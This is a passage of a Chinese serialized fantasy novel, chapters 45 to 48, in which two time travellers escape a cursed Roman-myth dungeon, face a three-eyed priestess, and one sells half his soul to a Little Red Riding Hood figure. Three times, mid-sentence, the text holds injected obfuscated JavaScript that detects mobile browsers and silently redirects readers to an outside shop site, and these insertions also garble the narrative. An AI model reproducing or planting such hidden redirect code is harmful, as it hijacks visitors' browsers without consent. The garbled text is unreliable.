他叹了口气,伸手把骨头堆里的铁通条捡起来,杵在地上,左腿使劲把自己撑起来,朝以利亚伸出手:“走吧,我们还是离这堆骨头越远越好。”以利亚却好像没听到,他忽然问:“北欧神话里有巨狼芬里尔,你说咱们遇到的会是它吗?”不等莱纳德回答自己便摇头否定,“跟油画讲的故事对不上,而且它体型不够大。” “我觉得够大了。”莱纳德无奈,抓住以利亚的胳膊把他拽起来,对方还有些迷迷糊糊地不辨方向,他只好一手拉人一手拄拐踉踉跄跄地往前走,“走吧,看看前面还有什么。” 前面是一道木门。 两扇门板又厚又重,莱纳德和以利亚合力才把门推开,灯光立刻随着门缝扩大倾泻而出,里面是一间宽敞的厅堂,同之前如出一辙的中世纪欧洲装修风格,屋子正中央摆了一张长桌,桌上杯盘碗盏摆得满满当当,空气中充满了食物和香料的味道。 莱纳德渴望地看着满桌烧鹅烤鱼、佳酿琼浆,十几秒后,终于说:“这不能吃吧?” 以利亚嗅了嗅,说道:“食物里没有放迷药,食材也没毒。”他顿了顿,又说:“厨艺不错。” 莱纳德的胃在空空如也的肚子里响应了一声,表示赞同,事实上,他都快要被眼前的大餐香迷糊了,尤其是经历了一场生死大战之后,上一顿饭好像已经是上辈子的事情了。 以利亚忍着笑:“想吃吗?” 莱纳德咽口水的声音清晰可闻,坚定道:“不想!” 以利亚叹了口气,他也饿了,但也知道这顿饭吃不得:“那就走呗,还等什么?”他指指前面:“那个地方有风,我感觉到了。” 莱纳德“唔”了一声,恋恋不舍地被以利亚拉走:“就是很难跟这么香的东西说再见。” “我知道,你的口水已经流到我手上了。” “……” 45.第十三章:罗慕路斯和雷穆斯 莱纳德没感觉到风,但对面确实有道窄门,推开门后,入目的是一间不大的兵器房,墙上挂满了长剑短剑、匕首标枪,清一色都是古罗马武器,墙角还立着一面重盾。 但最显眼的,是屋里两具呈站立状态的全身铠甲。 莱纳德走近观察,拉起以利亚的手凑过去:“这里有两副铠甲,喏,这具直立,这具弯腰。”他的目光也被铠甲牢牢吸引,从头盔到钉靴,无一不制作精良,在灯光下泛着冷光,两具铠甲离得很近,一具弓着腰,一具双臂抬起,几乎拥抱在一起。 一柄短剑从弯腰的铠甲身后突出来,莱纳德看着剑尖泛起的铁青色的冷光,舔了舔嘴唇,忽然感到喉咙发干。 以利亚的手指被金属细腻冰冷的触感激起一层鸡皮疙瘩,他顺着头盔轻轻抚摸下去,在护心甲的位置摸到了几道有规律的凹痕,他慢慢摩挲着,喃喃说道:“莱纳德,我想我找到铠甲主人的名字了,罗慕路斯和雷穆斯,古罗马神话里战神玛尔斯的双生子,那副油画……” 他的声音噎在了喉咙里,喉咙外,一个冰冷锋利的东西顶了上来。 那是一柄染血的短剑,剑柄竟赫然握在莱纳德手里! 如果以利亚看得见,他一定会被莱纳德此刻脸上的表情吓住的,还有那双眼睛,以利亚一直觉得莱尼的蓝眼睛像晴空下的湖水,干净、澄澈,而现在,湖面下仿佛藏着另一个嗜血的灵魂正不怀好意地窥视。 “终于等到今天了。”莱纳德的声音变得古怪、嘶哑。 “你在说什么?”以利亚头微微向后一仰,剑尖便立刻跟了上来。 “我手中宝剑渴饮你颈中鲜血已久了。” “莱纳德,放下剑。”以利亚用他能做到的最平静的语气开口,同时举起双手,“你并不想伤害我,你知道这一点。” 冷汗流过莱纳德的眼皮,又顺着下巴流进领口,他仍然紧握剑柄,说道:“我不……”一幅画面像子弹似的射进脑海,在视网膜上撞出一片血色来,他听到了垂死之人不甘的怒吼,锐器刺入□□的感觉那么清晰,他甚至闻到了血的味道。 竟然该死的甜美。 以利亚及时后退了一步,但剑尖还是在他咽喉处割开一道口子,鲜血涌出,随即剑锋又紧贴上来,以利亚没有再退后:“这不是你,莱纳德·杜弗伦,黑魔法影响了你,这把短剑原本属于罗慕路斯,你现在感觉到的杀意是他的。” 莱纳德的手颤抖了一下,蓝眼睛有一瞬间恢复清明:“以利亚,快跑!” “我不会走的。”以利亚静静地说,“我知道你不会伤害我,内心深处,你也知道,对不对?” 莱纳德吐出一声哭音:“我快要控制不住了,快跑,求你了。” “你可以的,莱尼,看着我。”以利亚忽然伸手握住剑尖,向外拨开,“放下剑。” “你骗我!”莱纳德忽然爆发出怒吼,他挥剑下劈,以利亚却在这时一脚踹在了他支撑身体的铁通条上,莱纳德整个人顿时歪倒,“当”的一声,短剑重重砸在盔甲上,同时腰上一紧,以利亚合身把他扑倒在地,死死按住。 “放手!”莱纳德挣扎起来,“你不是我兄弟!” 以利亚横肘锁住他的喉咙,跟他较劲:“说对了,你不是罗慕路斯,我也不是雷穆斯,你……”身下莱纳德猛然发力,竟把以利亚直接掀翻了出去,他一跃而起,全然不顾右腿血流如注,再次挥剑朝以利亚砍了下去! 以利亚撞倒了一把木椅,他抓住椅子腿顺势翻身,惊险万分地挡住了当头一剑,莱纳德显然彻底失去了神志,用力把嵌在木椅中的剑锋拔出来,再次全力砍下—— 这样下去是死路一条,椅子迟早会断,千钧一发之际,以利亚闪过一个念头,剑刃破风的声音霎时变得遥远,他挥动手臂,用尽全力把椅子朝盔甲砸了过去。 “当啷”一声,椅子撞在直立铠甲的腿上,只听“哗啦啦”一阵乱响,两具铠甲同时散架倒地,在地上变成难分你我的一堆碎片。 而冰冷的剑锋也像毒蛇一样舔上了以利亚颈侧的皮肤。 “呼——呼——” 莱纳德喘着粗气,眼前打着圈的白雾终于散去,他看到自己双手握剑,剑锋离以利亚的脖子还不到一寸,剑尖竟然没入了石板地,不难想象刚才这一剑的力道有多大。 “莱尼?”以利亚仰面朝天躺在地上,看上去已经筋疲力尽,领口和胸口衣襟上有一片触目惊心的血迹,“告诉我你清醒了,拜托。” “是、是我。”莱纳德握住剑柄的手仿佛被水泥浇筑似的僵成一团,他用了些力气才松开手指,整条手臂都在打颤,几乎拉不起以利亚,“刚才、刚才我……” “不是你,是黑魔法。”以利亚坐起来,任由莱纳德手忙脚乱地撕开衣服包扎他脖子上的伤口,说道,“罗慕路斯和雷穆斯……是古罗马神话里的一对双生子,也就是你在油画里看到的两个小男孩,他们被母狼抚养长大,如果我没猜错的话,就是走廊里的那头白骨狼。”他喘了口气,又说:“传说,这对兄弟最终反目成仇,罗慕路斯杀死了雷穆斯。” 莱纳德看着身旁那堆铠甲碎片,忍不住问:“什么深仇大恨居然能让亲兄弟互相残杀?” “据说,这兄弟俩因为建立城邦互不相让,雷穆斯破坏了罗慕路斯的城防工事,罗慕路斯就杀死了雷穆斯,最后建立了罗马城。” “这,这算什么烂理由?” 以利亚摸了摸脖子,一说话伤口就会痛,但总算不再流血了,他叹了口气:“对他们来说显然很重要,不然亡魂的怨气也不会这么强烈。” 莱纳德的表情就像刚吞下一只苍蝇:“可为什么我会被他们的怨气影响?”一个令人不快的猜测冒出来,难道内心深处,他也对以利亚怀有某种怨恨吗? “因为黑魔法不会看你长得好就放过你,别多想。”以利亚拍拍莱纳德的手臂,示意对方拉他起来,侧过脸感受空气流动,“我还能感觉到风,在那个方向。”他伸手一指,“没猜错的话,应该有一道暗门。” 莱纳德拉着他走到墙边,以利亚摸索着把墙上挂着的战斧取下来,果然,露出的墙面上有个长条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281157|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形的豁口,不到两指宽,不过一指长,这豁口距离暗门还差得远,估计只有拇指姑娘才能从这钻过去。 以利亚用手指仔细地摸过豁口:“这是机关口,看形状,钥匙是那把短剑。”他苦笑了一下:“看来找到机关并不是最难的一步。” “说不定,说不定是这把剑呢?”莱纳德咽了口唾沫,从墙上取下一柄长剑,对准豁口比划了一下,不行,剑身太宽了,他不死心地拿过匕首,又太窄太短,简直能在豁口里跳一段恰恰。 “我去。”以利亚说。 “不行!”莱纳德立刻反对,他得心砰砰直跳,一种深深的恐怖感觉在胃里蔓延开来,仿佛以利亚不是去拿剑,而是要去跳崖。“绝对不行。”他又说了一遍。 “放心,不会有事的。”说这话时,以利亚感到冷汗正顺着后脖子缓缓流下去,仿佛潜意识已经压过了理智,又或许,黑魔法不止影响到了莱纳德一个人。“你别跟着我。”他抬手挡住莱纳德,“告诉我方向就够了。” 莱纳德还想阻止以利亚,但双脚却像是被钉在了地板上,瞳孔不受控制地缩紧,几步外,短剑斜斜插在地上,剑身殷红,剑柄仿佛还在微微颤动。“再往右一点,小心地上的甲胄。”他听到自己干巴巴的声音,上帝啊,他需要喝点水,才能不那么渴望血的味道。 以利亚抓住剑柄,稍微一用力就拔了出来,剑柄磨蹭着掌心,除了金属的冰凉触感外并没有其他感觉,他转身往回走,每一步都很小心:“莱尼,虽然我觉得不至于,但我希望你离我远点,听到了吗?” 莱纳德没有说话,但以利亚听到了脚步挪开的声音,这才回到墙边,摸索着把短剑插进豁口,向右一拧,竟然把剑柄拧转了一百八十度,只听“喀啷”一声,随即响起细密的齿轮声。 可墙面却纹丝不动,预料中的暗门并没有出现。 以利亚伸手按了按墙面,皱起眉头:“怎么没有反应?按理说……” “小心!”莱纳德忽然用力撞向以利亚,眨眼间,他脚下的地板霍然洞开,以利亚被莱纳德一推之下,一只脚本已踏在了坚实的地面上,但电光火石的一瞬,他反手去抓莱纳德,被对方下坠之势一扯,顿时失去平衡,两人一齐栽进了深不见底的地下。 莱纳德摔在一块不算太硬的地上,左脚先着地,关节错位的“咔吧”声清晰无比,他只觉得眼前一片雪亮的白光,伴随着阵阵耳鸣,直到以利亚的声音冲破那团混沌:“……脱臼了,你忍一下,我数到三……” “啊!”疼痛来得快去得也快,以至于莱纳德都没意识到惨叫声是自己发出来的,他勉强动了动刚恢复知觉的左腿,瘫在地上有气无力地问:“以利亚,你、你怎么每次都来这一招?” 以利亚往后一靠,扯了扯嘴角:“因为管用。” “拜托,下次换个新鲜点的招行吗?” “你还想有下一次?” “……算了。” “我保证下次一定数到三。” “你觉得我会信你吗?” “为什么不呢?” 46.第十四章:维斯塔女祭司 “我背你。”以利亚在莱纳德旁边蹲下,拉过他的胳膊,“听话,你现在不能走路。”其实他刚才摔得也不轻,但以利亚知道自己撑得住,而且,他本该承受更多的。 “你看不见,”莱纳德脱口而出,“我们这样没法走。” “我可以,”以利亚不顾莱纳德反抗,把他架到自己背上,小心不碰到他的伤腿,站直身子,“只要你给我指方向。” “好吧,往这边走,”莱纳德只好顺从,他睁大眼睛,勉强能在黑暗中辨认出路,“再往右靠一点。” 以利亚走得不快,但很稳,他几乎不用莱纳德提醒也能感受到四周微妙的空气流动,从而辨明方向,这里的味道绝对算不上令人愉快,除了尘土外,空气中还有一种令人作呕的气息,仿佛有什么东西正在慢慢腐烂。 莱纳德忽然脱口骂了句脏话,以利亚立刻停下,问:“怎么了?”莱纳德惊魂未定,扭头左看右看:“刚才有个红影子,半人高,从咱们右手边晃过去了。”那红影仿佛仍然在他眼角余光里,可不知怎地,每当他转头,视野里都只有一片漆黑。 以利亚右转,却什么都没听到,他又侧头凝神听了一会儿,没有脚步声,没有风声,也没有额外的呼吸声,他皱起眉头,如果不是莱尼看错了,那红影一定不是真的实体。 也许,又是黑魔法在捣乱。 “我明明看见了。”莱纳德小声说,他的前胸贴着以利亚后背,以利亚能清晰地感受到对方的心正砰砰直跳,好像两人中间还揣了只小兔子,这个想法让以利亚意外地感到平静和满足,他笑了笑,安抚道:“别怕,提高警惕,它待会儿说不定还会出现。” 莱纳德忽然抬起上半身:“前面有东西!”他瞪大眼睛,几步开外有一张半人高的台子,台子上卧着一团东西,竟赫然是那头巨狼!莱纳德抓着以利亚肩膀的手指不自觉收紧,紧张道:“是白骨狼,它好像睡着了,它、它……”他一时竟然想不出合适的词来形容眼前看到的场景。 滴答声响,那是脓血和粘液从高台上落下的声音。 以利亚脑海里忽然出现白骨上不断生长的腐烂血肉和皮毛,这正是那股难闻味道的源头。 “还不回头?”莱纳德小声问,目不转睛地盯着趴伏在台子上的巨狼,生怕它忽然跳起来,以利亚摇头,头发蹭过莱纳德的脖子,低声道:“出路在前面。” 身后也没有退路了,以利亚迈开脚步向前走去,尽量压低身子,远远绕开桌台。随着距离拉近,莱纳德看得更清楚,巨狼只有半边身子是骨架,另外半边却长出了血肉和毛皮,近看模样更加丑陋可怖……莱纳德忽然想到以利亚的脸被狼骨划破后,滴在巨狼胸骨上的鲜血,那正好是狼心脏的位置,不是吗? 总算绕过台子,以利亚加快脚步往前走去,空气流动更加明显了,出口就在不远的地方。莱纳德回头望去,巨狼依旧安静地趴在台子上,和台子融为一体,只剩两团绿色的荧光还在黑暗中幽幽地闪烁。 …… 莱纳德的后背霎时间被冷汗浸透,那两团绿光是巨狼的眼睛,它醒了! 不等莱纳德出声提醒以利亚,巨狼便从台子上站了起来,它身上的腐肉还未来得及生长愈合,脓血和□□顺着毛皮滴滴答答地落到台子上,又滴到地上,在黑暗中,它仿佛一个刚从血泊里爬出来的幽灵,那双绿油油的眼睛直勾勾地盯着他们。 也许,以利亚的血会让巨狼不再攻击他们,莱纳德心里抱着一丝近乎滑稽的希望,说不定,它会变成一头好狼呢?可这个念头尚未转过,巨狼便忽地弓腰沉肩,一个健步跃下桌台,后腿蹬地,朝他们飞扑过来—— “快跑!”莱纳德大叫,他下意识收紧胳膊,仿佛这样就能把力气传递给他,以利亚目不视物,背后还背着个大男人,起步就趔趄了一下,险些摔倒,巨狼纵声咆哮,那股热烘烘、腥臭难闻的鼻息霎时间已拂上两人的后颈。 莱纳德颤声说:“以利亚,放我下来!” “想都别想!”以利亚咬紧牙关,向斜前方冲刺躲开了巨狼的第一次扑击,他心念电转,当然,他可以把莱纳德留在这儿,自己转身去引开巨狼,可在眼下手无寸铁、目不视物的劣势下,他又能为莱纳德争取多久?两分钟?运气好的话也许更久,可是,莱纳德会借这个机会逃走吗? 巨狼高高跃起,竟从两人头顶跳过,牢牢挡住了去路,它转过身看着自己的两个猎物,前爪踢踏,随时准备发起最后一击。 以利亚的心沉了下去,这是一局死棋。 “这边!”一个女人的声音忽然响起,左手边的石墙上有一扇窄门豁然开启,探出一个头戴白纱、身穿白袍的身影,冲两人叫道,“快过来!” 她手里握着一把□□,对准巨狼头部干脆利落地放出一箭,只听巨狼一声痛嚎,被打得倒退几步。趁这几秒钟的空挡,以利亚加快脚步冲了过去,白袍女人让开窄门,不断催促:“快!快点!” 巨狼再次怒吼着冲过来,弩箭插在它的头上,仿佛某种奇怪的义肢,疯狂生长的血肉和皮毛很快便向它覆盖过去。 白袍女人在以利亚和莱纳德冲进门的一瞬用力把门撞上,“砰”的一声,将将把巨狼挡在门外,震耳欲聋的狼嚎声后,三个人都听到了利爪抓挠铁门的刺耳声响。 “跟我走。”白袍女人丢下这句话,转身就走,莱纳德看着她高挑瘦削的背影,一股难以言喻的不安忽然涌上心头,他咽了口唾沫,大声问道:“你是谁?” “救下你们小命的人。”白袍女人头也不回地答道,声音冷漠,她带着以利亚和莱纳德爬上一段曲折的台阶,又穿过一条走廊,推门走进了一间石屋,终于转过身正眼看向两人,问道:“你们两个,为什么闯进我家里?”她的目光从白纱后射出来,冰冷锐利。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292341|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们是受人陷害,误入此地。”以利亚扶着莱纳德在石凳上坐下,反问她,“请问你是谁?” 莱纳德盯着这个从头到脚都裹在白袍中、连脸都遮得严严实实的女人,不禁感到一阵毛骨悚然,他想到罗慕路斯和雷穆斯的铠甲和短剑,还有那头传说养大了这对兄弟的巨狼,这白袍女人得是什么身份,才会自称是这里的主人? 就在他们以为不会等到回答时,白袍女人终于说道:“这里是维斯塔,我是祭司西尔维娅。” “维斯塔?”莱纳德愣愣地问道。 以利亚接口回答:“维斯塔祭司是古罗马侍奉圣火的神女,如果我没记错的话,西尔维娅祭司,你是战神玛尔斯的妻子。” 不等莱纳德反应,白袍女人就尖声道:“我不是他的妻子!” 以利亚意料之中地颔首,他知道自己猜对了:“但你却是罗慕路斯和雷穆斯的母亲。” 传说中,西尔维娅本是阿尔巴隆加国王努米特的女儿,后来阿穆利乌斯杀死努米特篡位,唯恐努米特的后代报复,因此将西尔维娅送进维斯塔做贞女。但他没想到的是,战神玛尔斯闯入维斯塔□□了西尔维娅,使她生下罗慕路斯和雷穆斯,兄弟俩最终杀死阿穆利乌斯,建立了罗马城。 命运弄人可见一斑,但讽刺的却是,当年写下这则神话的一定是个男人,不出意外地,雷亚·西尔维娅只是个女人,在完成生下双生子的使命后,她的命运便再无人问津。 但那并不代表她无足轻重,以利亚忽然意识到,也许,西尔维娅才是这个故事里最重要的一环。 西尔维娅冷笑道:“罗慕路斯和雷穆斯?他们不过是强迫与暴力诞下的产物,血管里流着他们父亲的血,除了暴力之外一无所知,为了他们,我差一点被送去活埋,告诉我,我凭什么认他们两个作我的儿子?” 以利亚说:“可你还留着他们的铠甲。” “为什么不呢?”西尔维娅双眼闪闪发亮,几乎能穿透白纱,“他们将在彼此的罪恶和鲜血里轮回,永世不得超生,这是我应得的回报。” “回报?你管这叫回报?”莱纳德的后脖子上汗毛直竖,他这辈子都忘不了在铠甲影响下挥剑砍向以利亚时的感觉,那种狂怒和绝望,仿佛能将人整个吞噬掉。 “是因为那头狼,对吗?”以利亚忽然说,“你没办法杀死那头狼,只有留下兄弟俩的铠甲,才能镇得住它。” 西尔维娅沉默了很久,才说道:“你很聪明,也知道很多事情,但你忘了一点。” 以利亚淡淡道:“你是不是想告诉我,巨狼的灵魂被困在白骨之中,直到我的血破除了咒语,使它得以复生。”他笑了笑,“老实说,你是不是害怕了?” 西尔维娅这一次沉默了更久,冷冷地反问:“我怕什么?” 以利亚回答:“这里有比你法力更强大、更邪恶的存在,你怕的就是它。” 47.第十五章:真相之眼 西尔维娅尖声道:“你们到底是谁?为何来此?” “我说过了,”以利亚回答,“我们……” “住口!”西尔维娅打断他,“从现在起,你们只能回答,且只能回答真相。”她霍地扯下面纱,露出的面容苍白,冷硬如同大理石,在她双目之间,额头正中,竟赫然还有第三只眼! 三只眼的女祭司凝视着两人:“真相之眼面前,无人能口吐谎言。”这句话仿佛暗藏着某种神秘力量,当莱纳德想追问时,他发现自己竟然张不开嘴。 “回答,你们为何闯入这里?”女祭司问。 “麦德森·沃冷,是他用黑魔法把我们送到这里的。”莱纳德被自己突然间开口吓到,他咬紧牙关,可舌头却好像有了主见,毅然脱离了他的掌控。 “我们原本打算制伏他,查出沃冷公司利用黑魔法做人体实验的黑幕,结果出了点差错,反而被他算计了。” 他想要劝西尔维娅把注意力放到以利亚刚才提起的更强大、更邪恶的存在上,但可恶的是,这几句话却无论如何说不出来。 西尔维娅问道:“你是何人?” “莱纳德·杜弗伦,我、我和以利亚一起旅行,我们是时空旅行者。” “以利亚是谁?”女祭司凑过来,莱纳德感到她冰冷的气息喷在自己脸上,“告诉我,他是什么人?” “他就在这里,他、他在我们旅行的时候遇到了意外,有人用黑魔法偷走了他的视力……”莱纳德额头渗出冷汗,他不知道自己接下去会说什么,这种感觉让他的胃里仿佛灌满了冰冷黏腻的液体,几乎要呕吐。 但他没能吐出来,只有不受控制的词句源源不断地从嘴里往外冒:“我想要帮他,我知道我能帮他的,可、可以利亚从不听我的意见,他只相信自己的判断和决定,他很聪明,但冒起险来不顾一切,这、这让他变得很危险,不止对他,对我也一样。” 说完最后这句话,莱纳德额头上已布满冷汗,根本不敢去看以利亚的表情。 女祭司笑起来,她转向以利亚,问:“你,以利亚,听完莱纳德·杜弗伦的话你感觉怎么样?他说的对吗?” 以利亚闭紧嘴,一言不发,竟然不受真相之眼的影响。 漫长的一分钟过去,莱纳德始终屏息等待,狂乱的心跳撞得他肋骨都痛了,最终才长吁了口气,感到一阵劫后余生似的放松。 不管以利亚怎么评价他刚才那番话,他都会羞惭至死的。 女祭司大出意料之外,三只眼睛一齐打量着以利亚,她凑过去,伸手抚上以利亚的侧脸,再次开口时声音更加深沉,仿佛是头顶那只眼在帮她发声:“聪明人,你虽然看不到真相之眼,但真相之眼却看得到你,回答我,你怎么看待莱纳德·杜弗伦?” “莱尼,”以利亚脸上肌肉抽搐着,尽管像是生锈的齿轮在勉强转动,但他终于还是开口了,“莱纳德·杜弗伦是个脆弱的小东西。” “还有呢?” “天真,善良,太容易受伤,如果……如果没有我的保护,他早就死掉了。” 女祭司盯着以利亚:“是吗?你听到他刚才的话了,听起来莱纳德认为你是个自行其是、不顾一切的自大狂呢,这让你感觉如何?” “意料之中。”说完这四个字,以利亚的下巴就像被触发的捕鼠夹那样猛地合上了,接下来的音节全都含糊不清,透着一股铁锈似的味道。 莱纳德只觉得胸口仿佛被重锤了一下,脸色顿时变得惨白,不管以利亚是生气还是难过,都不如这四个字对他的伤害大。 意料之中,这话是什么意思? 他看到以利亚握紧的双手上青筋毕露,仿佛正用尽全身力气对抗继续说下去的冲动。 “别想着有所保留,以利亚,”女祭司露出一口白森森的牙齿,猩红的舌头在其后若隐若现,就像嗅到血气的豺狼,“告诉我,你早就知道莱纳德对你的评价?” 以利亚嘴巴张开,仿佛有只看不见的大手正在用力扯它:“是的。” “说出来。” “他的灵魂被污染过。”以利亚的声音变得沙哑、迟缓,磨损的老唱片被硬塞进唱片机里就会发出这种声音,那双失明的灰眼睛比任何时候都空洞。“他不再是他自己了,至少不完全是。” “继续。” “我的错,如果不是我,莱尼会无忧无虑地在他的星球过正常人的生活,不会受到伤害,一切都会不一样。” “所以你不介意他把你看成一个骄傲自大的莽夫咯?” “不管他说什么,都是我应得的。” “这就对了。”女祭司怜爱地抚摸着以利亚的脸,“知道吗?我一眼就能看得出谁的内心残破不堪,莱纳德只是个吃不到糖的小孩子,而你,以利亚,你是个殉道者,你为什么还要忍受呢?” “因为……”以利亚忽然用力咬住嘴唇,鲜血很快就顺着他的嘴巴流了下来。 “说出来。”女祭司催促道。 “重头来过,”以利亚说,“我也还是会做出一样的选择。” “为什么?” “我在宇宙里漫游了太久,遇到莱纳德是发生在我身上最好的一件事,我不能、我不能忍受他成为陌路人。” 西尔维娅微笑起来:“知道我对你的建议是什么吗?” “不知道。” “你应该放过他,既然你只会给他带来不幸、痛苦,和最终不可避免的死亡,为什么还不放手呢?”女祭司凑到以利亚耳边,轻声说道,“你心里很清楚,没有人能欺骗死神。” 她看到以利亚的表情有一瞬间扭曲了起来,知道自己的蛊惑起效了,忍不住露出一口森然白牙,笑着说道:“留在维斯塔陪伴我吧,我会让你好起来的。” 以利亚茫然地张开嘴:“我……” “来吧,承诺我,简单得很,只需要一个字。” 女祭司双眼中闪动着狂热的光芒,她的舌尖已经品尝到了胜利的滋味,那么甘甜可口。 以利亚的额角冒出冷汗,滑过眼皮,淌过下巴,他的喉结上下滚动着,那个字眼看就要冲口而出,他明白自己无法控制,因为没有人能欺骗真相之眼。 没有人能欺骗死神。 嗤—— 利器刺穿□□的声音听起来很不真实,几乎有几分滑稽,女祭司低头看着自己前胸突出的一截染血的长棍,滑稽的感觉更加强烈,那赫然是巨狼的一根肋骨。 这么多年,她想尽办法躲开那头可恶的、阴魂不散的母狼,为此甚至不敢丢掉那两具铠甲,终于有一天,叫她等到这个能够解开诅咒的男人,他的血既然能使巨狼复生,也一定能置它于死地。 只差一点,只差一点她就要得到他的承诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305827|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 就像当年,阿穆利乌斯只差一点就狠下心将她处死,可正是差的这一点,最终让他踏上了死路。 她早该明白,命运永远都在捉弄人。 西尔维娅抬起手,想要把狼骨拔出来,却忽然感到浑身的力量被抽空,连一根小手指都无法挪动。 世界仿佛变得无比遥远,她吐出最后一口气,重重倒在了地上。 莱纳德紧跟着跌倒在地,受伤的右腿肌肉抽搐着、新血覆盖在干结的旧血上,黏成黑红的一团,他低下头,吐出一口带血的唾沫,嘴里的铁锈味却仍挥之不去,但那股控制他说话的力量总算消失了,他看向以利亚,嘴巴张开又合上,终于说了句:“好险!” “莱尼?” 以利亚脸上的表情变幻莫测,刚刚夺回的舌头控制权让他像个才学会说话的小孩子,居然结巴起来:“你是用、用什么刺死她的?” “用那根铁通条,我手边就这一个……”莱纳德的眼睛忽然间瞪大,他看清了刺穿西尔维娅胸口的武器,那根本不是铁通条,忍不住惊道,“老天啊,这骨头是从哪儿冒出来的?” 啪啪啪—— 身后忽然响起鼓掌声,而且近在咫尺,莱纳德后脖子一凉,回过头,只见一个穿红衣服、戴红兜帽的小姑娘坐在莱纳德刚刚坐过的椅子上,笑嘻嘻地拍手说道:“恭喜,莱纳德·杜弗伦,你通过了我的考验。” “是你?”莱纳德想起在地下暗道里那个一闪而过的红影,他凝目看去,红色兜帽下露出的脸甜美可爱,一双大眼睛又黑又亮,正目不转睛地看着他:“没错,是我邀请你们来这里的,好完成对你的考验。” “什么考验?”莱纳德呆呆地问。 小红帽歪了歪脑袋,笑得有些俏皮:“在我决定要不要帮助你之前,我需要知道你有没有资格。” 莱纳德的心跳变快了:“帮助我?”以利亚在他身后大声说着什么,但他却连一个字都没有听到。 “有时候,许愿太用力,就会被听到哦。”小红帽说道,她的两条腿晃荡着,忽然敏捷地跳下椅子,往前一步,大眼睛盯着莱纳德,“我可以实现你的愿望,让你的朋友重见光明。” 莱纳德咽了口唾沫,他知道天上不会掉馅饼:“代价呢?” “算不上什么代价,”小红帽向他伸出一只手,神态语气仿佛在早餐桌上讨要一片面包,“只要你把一半灵魂送给我,怎么样?” 灵魂?莱纳德瑟缩了一下,他忽然想起童话里为了金币和爱情把心卖给魔鬼巨人的彼得,他换上了一颗石头心,童话最后的结局是什么来着?没有心的人肯定没有好下场。 但以利亚的话如同刻在了他的脑海里——他的灵魂被污染过。 莱纳德的脸扭曲了起来,凭什么总是以利亚说了算,不管他做什么、说什么,他永远是那个“灵魂被污染过”的“脆弱的小东西”,没有以利亚的保护他“早就死掉了”,凭什么? 明明是他杀死了三只眼睛的女祭司,明明是他从白瑞摩的手里抢到骷髅契约,以利亚怎么就是看不到呢! 身后,以利亚的声音终于穿透混沌:“莱尼,不要!” 而莱纳德的声音在同时响起:“我愿意。” 他握住了小红帽那只冰凉的小手,感到那股寒意顺着手指一路向上,仿佛连他的灵魂都一齐冻住了。 48.第十六章:灵魂茧房 方丹从跑步机上跳下来,瞄了一眼屏幕,里程5.8km,步数7763步,心率96次/分,和昨天一样,和前天也没有出入,事实上,每天早上七点半到八点的晨跑项目,他的成绩都是如此,从未变过。 一丝冲动涌上心头,方丹忽然想,明天要不要跑快一点?这样里程数也许会从5.8km变成6km。但这个想法就像被吹皱的湖面似的,风吹过去后,便又恢复了平静。 薇姬的声音从扩音器里传下来,提示道:“早上好,方丹,请用早餐。” 早餐界面弹出,方丹不用挨个浏览也知道花样都有哪些,他在披萨和燕麦粥之间犹豫了一下,选择披萨会让他接下来的两个小时更愉快,但晚上却需要增加半小时运动,那样会挤占他的电影时间,而他计划在今晚《通往天国的颂歌》看完的。 他最后选择了“燕麦粥”,虽然不那么惊艳,但胜在综合指数高,而且他听说,常吃健康食品的人,匹配到高分伙伴的概率更大呢。 薇姬的声音再次适时响起:“接下来想做什么?是否要继续读那本《风铃马蹄》?昨天你看上去很享受它。” 方丹陷入思考,其实他好久没出去看看风景了,跟朵拉交往的三个月里,他把钓鱼之外的所有时间都分给了她,期间连公园都没逛过一次。想到朵拉,方丹不由得感到一阵心痛,他本以为这段匹配关系会持续得更久,甚至超过一年呢,就像传言里正式绑定的伴侣那样,但两天前,朵拉毫无征兆地终止了匹配,而按照系统匹配规则,两人再次遇到的概率无限接近于零。 就这样,再也不见了,我的金发女孩,方丹一边哼着英格博的《一个没有爱的男人》,一边调出了社交界面,经过两天的独处,方丹认为自己是时候重新回归社交生活了。 “已为您匹配新的伙伴。”薇姬愉快地提示,她一直是个甜心,方丹想,如果薇姬不是个只会按照固定模式做固定回答的人工智能,跟她过一辈子其实也不错。 社交界面“叮”的一响,连接成功。 方丹看着他的新伙伴,张大嘴巴,脱口问道:“你们、你们怎么有两个人?”老天爷,他差点以为对方长了两个脑袋,因为这种事从未发生过,方丹不可置信地瞪着屏幕,千真万确,对面有两个男人,一个男人长得很帅气,头发是熟透的玉米色,另一个则有一双能勾魂似的灰眼睛,方丹不由自主地盯着他看起来。 